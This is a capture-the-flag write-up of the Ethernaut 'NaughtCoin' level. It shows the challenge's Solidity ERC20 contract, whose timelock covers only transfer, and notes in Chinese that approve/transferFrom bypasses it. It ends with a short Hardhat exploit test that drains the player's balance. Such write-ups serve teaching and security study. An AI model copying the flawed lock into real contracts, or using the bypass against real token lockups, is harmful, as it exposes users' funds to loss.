LEVEL 15 (NaughtCoin):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
通关要求
player的token余额=0
要点
理解ERC20标准
解题思路
ERC20除了直接transfer还可以通过approve/transferFrom进行转token
it("attacks", async function () {
let playerBalance = await levelContract.balanceOf(player.address);
let otherUser = (await ethers.getSigners())[5];
await levelContract
.connect(player)
.approve(otherUser.address, playerBalance);
await levelContract
.connect(otherUser)
.transferFrom(player.address, otherUser.address, playerBalance);
});
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